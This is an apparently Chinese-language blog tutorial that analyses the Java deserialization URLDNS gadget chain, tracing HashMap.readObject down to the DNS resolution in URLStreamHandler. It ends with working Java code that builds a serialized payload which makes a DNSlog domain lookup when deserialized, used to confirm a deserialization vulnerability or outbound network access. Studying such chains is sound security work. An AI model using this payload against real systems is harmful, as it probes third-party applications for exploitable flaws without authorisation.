Java 反序列化(二) URLDNS链分析

前言

URLDNS链其实就是DNSlog。可以用来判断目标是否出网或者漏洞是否利用成功。这个利用链适合刚入门反序列化的新手分析。

URLDNS链是HashMap对象的反序列化过程,即通过HashMap的readObject方法来实现的链条。

最后payload代码会在文末放出。

分析

那么我们首先找到HashMap的readObject方法。
Java 反序列化(二) URLDNS链分析
readObject方法中调用了hash方法,并传入参数key。
Java 反序列化(二) URLDNS链分析
跟踪hash方法,在hash方法中发现调用了key的hashcode方法
Java 反序列化(二) URLDNS链分析
这里的key就是HashMap对象的键,这里就可以思考一个问题了,当反序列化的时候(即调用readObject的时候),调用了键的hashCode方法,hashCode方法是Object类的一个方法,那我们可以找一个重写过hashCode方法的类,然后实例化这个类的对象,放到HashMap的键里,序列化这个HashMap对象,然后当反序列化的时候,就要调用这个对象的hashCode方法。

但是前提是这个类的hashCode方法可以实现我们想要的功能。例如java.net.URL类。

那么下面我们来分析一下java.net.URL类的hashCode方法。
可以看到,这里有一个IF判断,而hashCode属性默认是-1。这段代码的意思就是,当第一次调用hashCode方法的时候,hashCode为-1,不会进入if判断。当第二次或以后调用hashCode方法的时候,就会进入if判断了,直接返回hashCode属性。
Java 反序列化(二) URLDNS链分析
Java 反序列化(二) URLDNS链分析
到了这里我们跟进一下handler.hashCode方法,传了this参进去,这个this其实就是HashMap的键,后面自己调试跟踪一下就明白了,handler其实是一个UrLStreamHandler类对象。
Java 反序列化(二) URLDNS链分析
找到UrLStreamHandler类的HashCode方法。
Java 反序列化(二) URLDNS链分析
调试的时候你就会发现u就是我们的dnslog地址。

Java 反序列化(二) URLDNS链分析

跟进getHostAddress方法。只要是正常的url,就不会return null
Java 反序列化(二) URLDNS链分析
重点在getByName方法。这个方法会发送请求解析域名为IP。通过这种方法最终实现了DNSlog,单步步过,可以发现,已经解析为了127.0.0.1
Java 反序列化(二) URLDNS链分析
DNSLog这里已经成功接收到请求了。
Java 反序列化(二) URLDNS链分析

代码

序列化代码

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;


public class Ser {

    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://cbqv10.dnslog.cn");
        //获取URL类的hashCode属性
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        // 修改访问权限,必须使用setAccessible方法设置为True才能修改private属性
        f.setAccessible(true);
        // 设置hashCode值为123,这里可以是任何不为-1的数字。先这样设置是因为HashMap的put方法也会调用hash(key)方法,
        // 如果不这样的话,会在序列化的时候调用put方法然后调用hash(key),然后直接进行了dnslog。
        f.set(url,123);
        //往HashMap中添加Key为URL对象
        map.put(url,"123");
        // 将url的hashCode重新设置为-1。确保在反序列化时能够成功触发
        f.set(url,-1);


        try{
            // 序列化对象
            FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");
            ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
            outputStream.writeObject(map);
            outputStream.close();
            fileOutputStream.close();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

反序列化代码

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class Deser {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        // 反序列化对象
        FileInputStream fileInputStream = new FileInputStream("./urldns.ser");
        ObjectInputStream ois = new ObjectInputStream(fileInputStream);

        ois.readObject();
    }
}

参考

https://guokeya.github.io/post/ZcF1VXwaH/

上一篇:Java_collection Object超类 hashCode()与equals()区别


下一篇:List排序和去重